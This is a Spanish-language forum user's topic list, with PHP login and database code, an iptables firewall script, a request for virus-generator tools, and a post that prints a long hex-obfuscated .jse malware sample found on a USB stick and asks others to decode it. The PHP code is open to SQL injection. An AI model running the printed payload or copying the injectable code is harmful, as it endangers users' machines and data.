|
Mostrar Temas
|
Páginas: 1 2 3 [4] 5 6
|
31
|
Programación / PHP / [Resuelto] Que me recomiendan PHP puro o CakePHP
|
en: 9 Enero 2017, 16:21 pm
|
Hola a todos. Llevo casi un mes aprendiendo PHP y he pasado por aqui ya un par de veces buscando ayuda. Ayer domingo un vecino que tambien desarrolla (pero applets en java) me dijo que buscara cakePHP y que dejara de ser cavernícola. Hoy busqué a ver cómo descargar cakePHP en la wen oficial y dicen que viene por default en Wamp que es lo que yo uso, aunque hay que hacer algunas modificaciones. Mi pregunta es: ¿Me recomiendan evolucionar de larva a mosquito o seguir siendo troglodita? En caso de que la respuesta sea avanzar al framework si pudieran explicarme cual es el sentido y que ventajas tiene, así como sus desventajas y esas cosas Gracias
|
|
|
32
|
Programación / PHP / [Resuelto]Login solo en PHP
|
en: 4 Enero 2017, 17:59 pm
|
Hola a todos nuevamente. Me gustaría traerles un pequeño login que hice en PHP sin JQuery ni nada de eso. Solo PHP y HTML. Quisiera que me digan qué les parece el código y si hay formas de que usando solo PHP, no salga en el código fuente de la página la contraseña o que me digan cómo darle más seguridad al formulario y esas cosas. Sin dilatarnos más, veamos los 2 archivos: Login.php <?php if (isset($_SESSION['userid'])) { } else { ?> <html> <head> <title>Login de Usuario</title> </head> <link rel="stylesheet" href="css/login.css" type="text/css" /> <body> <br /><br /><br /> <center> <h2>Ingrese sus datos para acceder al sistema</h2> <form action="logon.php" method="post" name="form"> <table border='0' bgcolor=""> <tr> <td><b> <p align="right">Usuario</p></b></td> <td align="center"><input type="text" name="user"></td> </tr> <tr> <td><b> <p align="right">Contraseña</p> </b></td> <td align="center"><input type="password" name="pass"></td> </tr> <tr align="center"> <td> </td> <td> <input type="submit" value="enviar"><input type="reset" value="limpiar" name="limpiar"> </td> </tr> <?php if (isset($_SESSION['error'])) { $mensaje=$_SESSION['error']; echo("<tr align='right'><td colspan='2'>$mensaje</td></tr>"); } ?> </table> </form> </center> <center><b><a href='guest.php'>Entrar como invitado</a></b></center> <?php } ?> </body> </html>
La idea es que si ya tienes un login realizado no te deje acceder a esa página, sino que te redireccione al index.php. Ahora el logon.php que es quien gestiona los usuarios con la BD <?php //recuperacion de variables session_start(); $usuario=$_REQUEST['user']; $password=$_REQUEST['pass']; $mensaje="Usuario o Contraseña incorrectos"; //base de datos $conexion=mysqli_connect ("localhost", "usuario", "contraseña") or die (mysqli_error ($conexion)); $bd="trabajo"; $tabla="usuarios"; mysqli_select_db ($conexion, $bd)or die (mysqli_error ($conexion)); //$cifrar=base64_encode($password); //seleccion del usuario $registro=mysqli_query ($conexion, "select * from $tabla where (usuario='$usuario')") or die ("Usuario desconocido"); { if ($reg=mysqli_fetch_array($registro)) { if ($password==$reg['password']) { $_SESSION['userid']=$_REQUEST['user']; $_SESSION[nivel]= $reg[nivel]; mysqli_close($conexion); header("location:index.php"); } else { $_SESSION['error']=$mensaje; echo ("error"); mysqli_close($conexion); header("location:login.php"); } } else { $_SESSION['error']=$mensaje; echo ("error"); mysqli_close($conexion); header("location:login.php"); } } ?>
Y así estamos listos. Yo recupero el nivel porque así puedo establecer permisos a los usuarios dependiendo de su nivel. Y en el login solo necesitamos recuperar las variables de sesion así session_start(); if (isset($_SESSION['userid'])) { ?> Aqui ponemos todo el index.php si el usuario se logueó bien. Si no abrimos php de nuevo escribimos <?php } else { } ?> </body> </html>
|
|
|
33
|
Programación / PHP / [Resuelto] Consulta mysqli_query no funciona
|
en: 28 Diciembre 2016, 20:35 pm
|
Hola a todos. Hace unos días empecé a estudiar PHP y llegué a la parte de las BD. Logré implementar un pequeño formulario que recopila unos datos y los almacena en una BD llamada "trabajo" en una tabla "datos". Luego los llamo desde otra página y los muestro en una tabla donde tengo un boton de borrar. El botón puede borrar el campo sin problemas, pero lo que quiero es que antes de borrar los datos de la tabla "datos" los inserte en otra tabla llamada "eliminados" para que no se pierdan los datos, sino que dejen de estar en la tabla principal (No sé si me hago entender). Estos son los datos del formulario <!-- index.php--> <html> <head> <title>Registro de Ordenes de Trabajo</title> </head> <body> <center><H2>Registro de Ordenes de Trabajo</h2> <form action="bd.php" method="post" target="_blank"> <table border='1'> <tr><td>No. de Orden</td><td><input type="text" name="orden"></td></tr> <tr><td>Nombre completo del trabajador</td><td><input type="text" name="trabajador"></td></tr> <tr><td>Departamento</td><td><select name="departamento"><option value="produccion">produccion<option value="tratamiento termico">tratamiento termico</option><option value="taladro">taladro</option><option value="metrologia">metrologia</option><option value="tecnologia">tecnologia</option><option value="cnc">cnc</td></tr> <tr><td>Fecha de Entrada (dd/mm/aaaa)</td><td align="center"><input type="text" size="2" name="diai"><input type="text" size="2" name="mesi"><input type="text" size="4" name="anioi"></td></tr> <tr><td>Fecha de Finalizacion (dd/mm/aaaa)</td><td align="center"><input type="text" size="2" name="diaf"><input type="text" size="2" name="mesf"><input type="text" size="4" name="aniof"></td></tr> <tr align="center"><td></td><td><input type="submit" value="enviar" name="enviar"><input type="reset" value="limpiar" name="limpiar"></td></tr> </table> </form> </center> </body> </html>
Esta es la página que procesa los datos y redirecciona hacia la página donde está la tabla <?php //bd.php //Primero comprobamos que la fecha esté correcta if (checkdate($_REQUEST['mesi'], $_REQUEST['diai'], $_REQUEST['anioi']) || checkdate($_REQUEST['mesf'], $_REQUEST['diaf'], $_REQUEST['aniof'])) { $fechai=$_REQUEST['anioi']."-".$_REQUEST['mesi']."-".$_REQUEST['diai']; $fechaf=$_REQUEST['aniof']."-".$_REQUEST['mesf']."-".$_REQUEST['diaf']; //creamos la variable para la conexion y la variable para la tabla $tabla="datos"; $bd="trabajo"; $tabla2="elementos_eliminados"; //seleccionamos la base de datos //Añadir datos a la BD mysqli_query($conexion, "insert into $tabla (orden, trabajador, departamento, fechainicio, fechafinal) values ( '$_REQUEST[orden]', '$_REQUEST[trabajador]', '$_REQUEST[departamento]', '$fechai', '$fechaf')") or die ("Problemas al añadir elementos a la BD".mysqli_error()); header("location:listado_orden.php"); } else { echo ("La fecha introducida es incorrecta"); } ?>
Luego los datos se muestran en esta página: <html> <head> <title>Listado de Ordenes de Trabajo</title> </head> <?php /*ahora el invento: que debajo aparezcan todos los campos en una tabla dinámica que crezca con cada registro que se haga en la BD*/ $tabla="datos"; $bd="trabajo"; $registro=mysqli_query ($conexion, "select id, orden, trabajador, departamento, fechainicio, fechafinal from $tabla") or die ("Problemas en la seleccion".mysqli_error()); echo ("<h2>Listado Actualizado</h2>"); echo ("<table border='2'>"); echo ("<tr><td align='center'>Orden</td><td align='center'>Trabajador</td><td align='center'>Departamento</td><td align='center'>Fecha Inicial</td><td align='center'>Fecha Final</td><td align='center'>Editar</td><td align='center'>Eliminar</td></tr>"); { echo ("<tr><td align='center'>$reg[orden]</td><td align='center'>$reg[trabajador]</td><td align='center'>$reg[departamento]</td><td align='center'>$reg[fechainicio]</td><td align='center'>$reg[fechafinal]</td><td align='center'><a href='edit.php?id=$reg[id]'><img src='images/edit.png'></img></a></td><td align='center'><a href='borrar.php?id=$reg[id]'><img src='images/deny.png'</img></a></td></tr>"); } echo ("</table>"); ?> </body> </html>
y como ven, hay un enlace para borrar el contenido asociado al id. Y aquí está el problema <?php //borrar.php /*implementar un algoritmo que al presionar en el boton "borrar" elimine ese usuario de la bd*/ //conectar con la BD $tabla="datos"; $bd="trabajo"; $tabla2="eliminados"; $ids=$_REQUEST['id']; //seleccion de datos //crear registros $registro=mysqli_query($conexion, "select * from $tabla where id=$ids") or die ("Problemas al seleccionar desde la BD".mysqli_error()); echo ("<h2>Listado Actualizado</h2>"); echo ("<table border='2'>"); echo ("<tr><td align='center'>id</td><td align='center'>Orden</td><td align='center'>Trabajador</td><td align='center'>Departamento</td><td align='center'>Fecha Inicial</td><td align='center'>Fecha Final</td><td align='center'>Fecha Eliminado</td></tr>"); { //Insertamos los datos que se van a borrar en la otra tabla llamada "eliminados" mysqli_query($conexion, "insert into $tabla2 (id, orden, trabajador, departamento, fechainicio, fechafinal) values ( $reg[id], $reg[orden], $reg[trabajador], $reg[departamento], $reg[fechainicio], $reg[fechafinal], $fechaeliminado") or die ("Problemas al anadir elementos a la BD '$tabla2'<br>".mysqli_error()); //Eliminar datos de la tabla //Cerramos la conexion a la BD //Redireccionamos a la pagina anterior para ver los datos header("location:listado_orden.php"); ?>
Y cuando ejecuto la consulta me arroja el siguiente error: Warning: mysqli_error() expects exactly 1 parameter, 0 given in C:\wamp\www\Trabajo\borrar.php on line 29Por favor ayudenme. Estoy aprendiendo y si no puedo pasar de aqui no quiero entrar en otros temas más complicados
|
|
|
34
|
Media / Juegos y Consolas / [Ayuda] Busco server de codecombat
|
en: 23 Noviembre 2016, 15:33 pm
|
Hola Gente. Pues nada, estoy pidiendo ayuda y ahora explico por qué: Vivo en Cuba, donde las cosas son un poco difíciles. Y cuando digo "las cosas" me refiero a que no se puede pagar con tarjetas de credito, no me puedo registrar en muchos lugares y sobre todas las cosas: EL INTERNET NO LLEGA A LAS CASAS. Entonces, hemos creado alternativas, una red "local" que tiene más de 25 mil usuarios y nos funciona como "Internet" pues ahi tenemos servidores de juegos como WoW, Battle Field 3, Arma 3, Rust, Minecraft, etc. Y vagueando por internet en horario laboral vi el codecombat, un magnifico juego que te enseña a programar mientras te diviertes y pensé en buscar algun server para montarlo en nuestra red y que todos aprendamos (el que quiera claro). Si pudieran ayudarme con algun lugar donde descargar el server de este juego (preferiblemente en español) u otros juegos para aprender a programar que se puedan jugar y que sean PvP y esas cosas. Gracias de antemano
|
|
|
35
|
Comunicaciones / Redes / [AYUDA] Mi primer firewall iptables
|
en: 6 Abril 2016, 21:07 pm
|
Hola a todos los que me leen. Llevo el dia entero leyendo un muy buen tutorial sobre iptables, que es cada cosa y como configurar cada elemento dentro del mismo. Al final me decidi a crear el mio propio apoyandome claro está en ese tutorial ya que no me lo aprendi todo de memoria. Cuando finalicé, lo sustitui por el que tengo (otro script en iptables que hizo un amigo y esta genial) y no funciona bien. Lo hice por funciones para poder darle las opciones start, stop, restart y open. El supuestamente trabaja bien, pero si le doy start, todas las conexiones dan time out. Si lo pongo en open si trabaja pero a nadie la gusta tener un firewall "ABIERTO". A continuacion les adjunto el codigo a ver si alguien me ayuda por favor. #! /bin/bash
# /etc/init.d/firewall # ### BEGIN INIT INFO # Provides: firewall # Required-Start: $network # Required-Stop: # Should-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Firewall configuration ### END INIT INFO #LOCAL SERVERS CORREO=192.168.21.3 # CORREO DNS=192.168.21.2 # DNS ADMIN=192.168.21.5 # Informatico FIREWALL=192.168.21.1 # Firewall (esta pc) WIFI=192.168.21.7 # PC Virtual de Pruebas
LAN=192.168.21.0/24 # INTERFACES LANIF=eth1 WANIF=eth0 # DIRECCIONES IP WANIP2=xxx.xxx.xxx.xxx WANIP3=xxx.xxx.xxx.xxx ANY=0.0.0.0/0
#Variable para los comentarios com="-m comment --comment"
refrescar_reglas() { iptables -F INPUT iptables -F OUTPUT iptables -F FORWARD iptables -F -t nat }
#ESTABLECE POLITICA POR DEFECTO COMO PERMISIVA, LO QUE NO SE DENIEGUE
EXPLICITAMENTE SE DEJA PASAR politica_accept() { iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT }
#ESTABLECE POLITICA POR DEFECTO COMO CERRADA, LO QUE NO SE PERMITA EXPLICITAMENTE
SE DENIEGA politica_descartar() { iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP }
conexion_establecida() { iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
}
localhost() { iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Trafico Localhost IN" iptables -A INPUT -i $LANIF -p tcp --dport 3128 -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT -m comment --comment "Trafico Localhost OUT" }
ssh() { iptables -A INPUT -p tcp --dport 22 -m state --state NEW,RELATED,ESTABLISHED -j
ACCEPT $com "SSH DESDE LAN" }
ping_icmp() { iptables -A INPUT -i eth1 -p icmp -j ACCEPT }
#NATEOS ##################################################################################
######################################################################## route() { echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s $CORREO -o $WANIF -j SNAT --to-source $WANIP2 iptables -t nat -A POSTROUTING -s $DNS -o $WANIF -j SNAT --to-source $WANIP2 iptables -t nat -A POSTROUTING -s $WIFI -o $WANIF -j SNAT --to-source $WANIP2 iptables -t nat -A POSTROUTING -s $ADMIN -o $WANIF -j SNAT --to-source $WANIP2 } #PORT FORWARDING port_forwarding() { iptables -t nat -A PREROUTING -d $WANIP2 -p tcp -m multiport --dports 25,587 -m
state --state NEW,RELATED,ESTABLISHED -j DNAT --to-destination $CORREO } #FORWARDING forwarding() { #Admin iptables -A FORWARD -s $ADMIN -j ACCEPT iptables -A FORWARD -d $ADMIN -j ACCEPT
#DNS iptables -A FORWARD -s $DNS -p tcp -m multiport --dports 53,953 -j ACCEPT iptables -A FORWARD -d $DNS -p tcp -m multiport --dports 53,953 -j ACCEPT iptables -A FORWARD -s $DNS -p udp -m multiport --dports 53,953 -j ACCEPT iptables -A FORWARD -d $DNS -p udp -m multiport --dports 53,953 -j ACCEPT iptables -A FORWARD -s $DNS -p icmp -j ACCEPT iptables -A FORWARD -d $DNS -p icmp -j ACCEPT
#SMTP,DNS,WEBMAIL IN AND OUT iptables -A FORWARD -d $CORREO -j ACCEPT iptables -A FORWARD -s $CORREO -j ACCEPT
#WIFI iptables -A FORWARD -s $WIFI -j ACCEPT }
##################################################################################
########################################################################
ancho_banda() { # HACEMOS LIMPIEZA # BORRAMOS TODAS LAS REGLAS ANTERIORES tc qdisc del dev eth0 root tc qdisc del dev eth1 root
#CLASE QUE REPRESENTA LA SALIDA DE PAQUETES, A 64Kbit (ESTO ES PARA EL CORREO) tc qdisc add dev eth0 root handle 1:0 htb default 99 tc class add dev eth0 parent 1:0 classid 1:1 htb rate 128Kbit ceil 128Kbit tc class add dev eth0 parent 1:1 classid 1:11 htb rate 64Kbit ceil 70Kbit prio 2 tc qdisc add dev eth0 parent 1:11 handle 10: sfq perturb 10
#CLASE QUE REPRESENTA LA ENTRADA DE PAQUETES, A 64Kbit (ESTO ES PARA EL CORREO) tc qdisc add dev eth1 root handle 2:0 htb default 99 tc class add dev eth1 parent 2:0 classid 2:1 htb rate 128Kbit ceil 128Kbit tc class add dev eth1 parent 2:1 classid 2:11 htb rate 64Kbit ceil 70Kbit prio 2 tc qdisc add dev eth1 parent 2:11 handle 20: sfq perturb 10
#EL TRAFICO ENTRANTE SERA DE LA CLASE 2 Y LA SALIDA DE LA CLASE 1 iptables -t mangle -I POSTROUTING -o eth0 -p tcp -s $CORREO -j CLASSIFY --set-
class 1:11 iptables -t mangle -I POSTROUTING -o eth0 -p tcp -d 10.0.0.2 -j CLASSIFY --set-
class 2:11 }
flags() { #NO SE ACEPTAN PAQUETES CON flags DE URGENTE, FINALIZADO NI EMPUJE iptables -A INPUT -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP
#LOS QUE NO TIENEN flags QUE NO ENTREN iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
#LOS PAQUETES DE UNA NUEVA CONEXION DEBEN SER SYN iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
#PAQUETES INCOMPLETOS TAMPOCO QUEREMOS iptables -A INPUT -f -j DROP
# LAS CONEXIONES QUE NO PERTENEZCAN AL SISTEMA SE BOTAN iptables -A INPUT -m conntrack --ctstate INVALID -j DROP }
dns() { iptables -A OUTPUT -o $WANIF -s $WANIP2 -p udp --dport 53 -m state --state
NEW,RELATED,ESTABLISHED -j ACCEPT -m comment --comment "CONSULTAS DNS DESDE
GATEWAY" }
ftp() { iptables -A OUTPUT -o $WANIF -m multiport -p tcp --dports 20:21,1024:65535 -m
state --state NEW,RELATED,ESTABLISHED -j ACCEPT }
case "$1" in start) refrescar_reglas flags politica_descartar conexion_establecida ancho_banda dns ssh ping_icmp ftp route forwarding port_forwarding echo "FIREWALL ACTIVO" ;; open) refrescar_reglas politica_accept route forwarding echo "MODO ENRUTADOR Y TRADUCCION IP ¡ABIERTO!" ;; stop) refrescar_reglas politica_accept route forwarding port_forwarding echo "FIREWALL DETENIDO!!! CUIDADO" ;; restart) echo "REINICIANDO" $0 stop $0 start ;; *) echo "Usar Start|Stop|Open|restart" esac
exit 0
Trate de tenerlo lo mas comentado posible para que se entienda (mas por mi que por otra cosa, para no perderme).
|
|
|
36
|
Seguridad Informática / Análisis y Diseño de Malware / [Ayuda] Programas para generar virus
|
en: 24 Febrero 2016, 14:27 pm
|
Hola a todos. Hace un tiempo tenia un programa que tenia la facilidad de crear los virus o malware en vbs y te daba muchisimas opciones. El mismo tenia iconos de los simpson y ahora no recuerdo el nombre. Si alguien me pudiera ayudar con ese o algun programa simple, lo que necesito es algo sencillo, no crean que quiero hackear la NASA ni nada de eso. "Todo con fines educativos"
|
|
|
37
|
Sistemas Operativos / GNU/Linux / [AYUDA] Para recuperar particion
|
en: 29 Enero 2016, 13:15 pm
|
Hola a todos. Les comento mi problema agradeciendo de antemano la ayuda que me puedan ofrecer. El caso es que tengo un HDD de 320GB que estaba teniendo problemas y en mi caso, tenia instalado windows xp (la pc es algo vieja) y cuando iniciaba a los 3 ó 4 minutos se congelaba. Probe de todo y pues era el HDD. Este tenia 2 particiones, una de 20GB y la otra con el resto. Me dijeron que instalara linux, que no era igual, y que podia ser la solucion. Pues puse el disco de Ubuntu 13.04 y me dispuse a instalar. Al momento de elegir que hacer con el disco, habian 4 opciones. La primera decia que borraba el disco, y no quise poner esa porque tenia informacion en el disco que es importante. La segunda no recuerdo. La tercera decia LVM y especificaba que podria redimensionar las particiones y esas cosas. Abajo decia "Mas Opciones". Asi que escogi la tercera, pero no me dejo escoger donde queria instalar, sino que formateo el hdd completo a ext3 y despues instalo Ubuntu. Quisiera saber si puedo recuperar esa informacion que habia cuando el hdd estaba en NTFS. De hecho, ya me aventure a formatearlo en NTFS de nuevo y sin escribir nada mas recuperarlo, pero quisiera saber que hice mal y si es posible recuperar los datos
|
|
|
38
|
Seguridad Informática / Análisis y Diseño de Malware / [Ayuda] descifrando un virus
|
en: 11 Julio 2015, 17:04 pm
|
Hola a todos, les traigo tarea por decirlo de alguna forma a aquellos especializados en el arte de la cryptografia. El punto es que encontre en mi memoria USB hace un par de dias un archivo con el icono de una foto y un nombre asi como "DSC01012 .jse" o sea, que estaban tratando de esconder la extension alargando el nombre. Eso me dio curiosidad y lo revise y me escontre con el codigo que les traigo hoy para ver si me ayudan a descifrarlo y conocer realmente que es lo que hace. Por cierto, mi cuñado si lo ejecuto y lo que hace al usuario es supuestamente abrir la foto del fondo de escritorio. Sin mas vueltas, aqui les dejo el codigo z="cfcdd4d6bc98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382aebecdc4828682cbcfc4c9c289a1c4828682c7c0aed4ce828682cfc0c8aabdc5828682c0becf828496bd98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382b2aebe828682cdc4cbcf89aec3828682c0c7c7828496ce98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382aec3c0828682c7c7899ccbcbc7c4828682bebccfc4cac9828496d2c798b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382b2bdc0c8aebecd828682c4cbcfc4c9c289aeb2bdc0c8a7828682cabebccfcacd828496bfbd98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf83829c9faa8286829f9d89aecfcd828682c0bcc8828496bfbd899ec3bccdaec0cf987db0ae889cae9ea4a47d96bfbd89afd4cbc0988d96be8e98bd89aecbc0bec4bcc7a1cac7bfc0cdce837daecfbccdcfd0cb7d8496c9cf919883bd89adc0c2adc0bcbf8382a3a6a7a8b7b7aeaaa1afb29cada0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b79ed0cdcdc0c9cfb1c0cdcec4cac982849998919acfcdd0c095c1bcc7cec08496c5c4beca98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b77d86bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b789c5cbc2b7b77d84867db7b79fc0c1bcd0c7cfa4becac9b7b77d8496c4beca987dc0d3cbc7cacdc0cd89c0d3c07d96c298b2aebecdc4cbcf89aebecdc4cbcfa1d0c7c7a9bcc8c096bfbc98c9c0d27b9fbccfc0838496bcc9ca98bfbc89c2c0cfb4c0bccd8384867d7d96c8c0ce98bfbc89c2c0cfa8cac9cfc3838496bfc4bc98bfbc89c2c0cf9fbccfc0838496c3cdbc988b96bcc9cfd198c9c0d27b9ccdcdbcd4837d7d8496cdc2c6987da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ceb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7add0c97d96d2c7c2987da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7b2c4c9c7cac2cac9b7b7aec3c0c7c77d96c2c998c9c0d27b9ccdcdbcd4837da4a8a27d877da4a8a2ba7d877daba49e7d877d9fae9e7d877d9ea4a8a27d877da3aba4a87d877da4a89ca27d877d9fae9ea17d877d9fae9ea97d877d9f9ea4a87d877da4a87d877daba49eaf7d877dae9ca8ba7d8496cecb987d7d96c1cacd83cd988b96cd97948f96cd868684d6cecb86987d7b7d96d8c0d398c2c9b6a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac88384858c8d84b886bcc9ca89ced0bdcecfcdc4c9c2838d878f84867d7d86c8c0ce86bfc4bc867d89a5aba27d86cecb867d89c5cec07d96c5c0d3987d7d96cfbcce987dc0d3cbc7cacdc0cd7d96c1ced598bc89a2c0cfa1c4c7c083c28489aec4d5c096d2cebe98b2aebecdc4cbcf89a1d0c7c7a9bcc8c096cecfc7987dc3cfcfcbce958a8ad2d2d289c2cacac2c7c089c0ce8a7ecad0cfcbd0cf98cec0bccdbec381cebec7c4c0c9cf98cbced488bcbd81cc98c1c4d1c0cdbfcac7c7d4867d96cecfcb98cecfc786c1ced596c4c183ce89a9bcc8c0aecbbcbec0838d918498987dadcabcc8c4c9c27d84d6cfcacf98bc89a2c0cfa1cac7bfc0cd83ce89a9bcc8c0aecbbcbec0838d918489abbccdcec0a9bcc8c0837da8c4becdcacecac1cf7d8489abbccfc38489abbccdc0c9cfa1cac7bfc0cd96d8c0c7cec0d6cfcacf98ce89a9bcc8c0aecbbcbec0838f8b8489abbccdcec0a9bcc8c083ce89a9bcc8c0aecbbcbec0838d91848489abbccfc396d8c9cf838496d8bebccfbec383c084d6d8cec1987d7d96c1d0c9becfc4cac97bc9cf8384d6cfcdd4d6be8c98ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837dc8c4becdcacecac1cf7d8496be8d98be8c89a2c0cfa1cac7bfc0cd89a4cfc0c8ce8384899ecad0c9cf96cdc198a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac8838485be8d888c8496be8f98be8c89a2c0cfa1cac7bfc0cd89a4cfc0c8ce838489c4cfc0c883cdc18489abbccfc396c4c183bc89a1cac7bfc0cda0d3c4cecfce83be8f849898c1bcc7cec084d6be8f98bc89a2c0cfa1c4c7c083be8f8489abbccdc0c9cfa1cac7bfc0cd96d8d8bebccfbec383c084d6be8f98be8c89abbccfc396d8be9098a8bccfc389cdbcc9bfcac883848593868c867d7d96be9098be9089cdc0cbc7bcbec0837d897d877d7d8496cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b79fc0c1bcd0c7cfa4becac9b7b77d87c5c4beca877dada0a2baaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6c5cfd4cb98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7c5cbc0c2c1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d8496bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d87c5cfd4cb877dada0a2baa0b3ab9ca99fbaaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b79fc0c1bcd0c7cfa4becac9b7b77d87c5c4beca877dada0a2baaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d87c5cfd4cb877dada0a2baa0b3ab9ca99fbaaeb57d8496d8bebccfbec383c084d6d8c4c183c289ced0bdcecfcdc4c9c283c289c7bccecfa4c9bfc0d3aac1837db7b77d84868c87c289c7c0c9c2cfc38489cfcaa7cad2c0cd9ebccec0838489cec0bccdbec3837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6cfcdd4d6c4c183bc89a1c4c7c0a0d3c4cecfce83c289ced0bdcecfcdc4c9c2838b87c289c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bd89cdd0c983827d8286c289ced0bdcecfcdc4c9c2838b87c289c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848486827d828496d8c0c7cec0d6d2cb98bd89adc0c2adc0bcbf837da3a69eb0b7b79ecac9cfcdcac77babbcc9c0c7b7b79fc0cec6cfcacbb7b7b2bcc7c7cbbccbc0cd7d8496c4c183d2cb89ced0bdcecfcdc4c9c283d2cb89c7bccecfa4c9bfc0d3aac1837db7b77d84868c87d2cb89c7c0c9c2cfc38498987dafcdbcc9cebecabfc0bfb2bcc7c7cbbccbc0cd7d84d6c5cbc2be98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7c5cbc0c2c1c4c7c0b7b7cec3c0c7c7b7b7cacbc0c9b7b7becac8c8bcc9bfb7b77d8489cdc0cbc7bcbec0837d808c7d87d2cb8496bd89cdd0c983c5cbc2be8496d8c0c7cec0d6bd89cdd0c983827d8286d2cb86827d828496d8d8d8bebccfbec383c084d6d8cfcdd4d6cebe98d2c7899ecac9c9c0becfaec0cdd1c0cd83c9d0c7c7877b7dcdcacacfb7b7bfc0c1bcd0c7cf7d8496cdc298cebe89a2c0cf837daecfbfadc0c2abcdcad17d8496c898cdc289a8c0cfc3cabfceba89a4cfc0c8837da0c9d0c8b1bcc7d0c0ce7d8496cbc4c998c889a4c9abbccdbcc8c0cfc0cdce89aecbbcd2c9a4c9cecfbcc9bec0ba838496cdc698c9c0d27baabdc5c0becf838496cdc6b67da3a69eb07db898cdc6b67da3a6a0b4ba9eb0adada0a9afbab0aea0ad7db8988bd3938b8b8b8b8b8b8c96cdd198cdc6b6cdc2c689ced0bdcecfcd838b87cdc2c689c4c9bfc0d3aac1837db7b77d8484b896cbc4c989c39fc0c1a6c0d498cdd196cbc4c989ceaed0bda6c0d4a9bcc8c098cdc2c689ced0bdcecfcd83cdc2c689c4c9bfc0d3aac1837db7b77d847b867b8c8496cbcacf98cdc289a0d3c0bea8c0cfc3cabfba83c889a9bcc8c087cbc4c98496bcc698cbcacf89cea9bcc8c0ce89cfca9ccdcdbcd4838496c1cacd83c6c0d47bc4c97bbcc684d6cfcfce98bd89adc0c2adc0bcbf83cdc2c6867db7b77d86bcc6b6c6c0d4b884867d7d96c4c183cfcfce89cec0bccdbec3837d89c0d3c07d847c98888c84d6cfcfce8d98cfcfce89ced0bdcecfcdc4c9c2838b87cfcfce89cec0bccdbec3837d89c0d3c07d848496cfcfce8e98cfcfce8d89ced0bdcecfcdc4c9c283cfcfce8d89c7bccecfa4c9bfc0d3aac1837d957d84888c87cfcfce8d89c7c0c9c2cfc384867d89c0d3c07d96c4c183bc89a1c4c7c0a0d3c4cecfce83cfcfce8e849898cfcdd0c084d6c4beca98cfcfce8e96d8c4c183cfcfce8d89c4c9bfc0d3aac1837db7b77d847c98888c84d6cfcfce8d98cfcfce8d89ced0bdcecfcdc4c9c283cfcfce8d89c7bccecfa4c9bfc0d3aac1837db7b77d84868c87cfcfce8d89c7c0c9c2cfc38496d8cfbcce98cfcfce8d96d8d8d8bebccfbec383c084d6d8c4c183cfbcce89c4c9bfc0d3aac1837d7b7d847c98888c84d6cfbcce98cfbcce89ced0bdcecfcdc4c9c2838b87cfbcce89c4c9bfc0d3aac1837d7b7d848496d8c4c183cfbcce89c4c9bfc0d3aac1837d897d847c98888c84d6cfbcce98cfbcce89ced0bdcecfcdc4c9c2838b87cfbcce89c4c9bfc0d3aac1837d897d848496d8cfcdd4d6c9c0d2bf98c1ced596cac7bfbfc198bd89adc0c2adc0bcbf83d2c7c28496cac7bfbfc198cac7bfbfc189ced0bdcecfcdc4c9c283cac7bfbfc189c7bccecfa4c9bfc0d3aac183827d7b7d8284868e87cac7bfbfc189c7bccecfa4c9bfc0d3aac183827d82848496d8bebccfbec383c084d6cac7bfbfc198cec3bed0838496d8c4c183bc89a1c4c7c0a0d3c4cecfce83cac7bfbfc1849898cfcdd0c084d6be8f98bc89a2c0cfa1c4c7c083cac7bfbfc18489abbccdc0c9cfa1c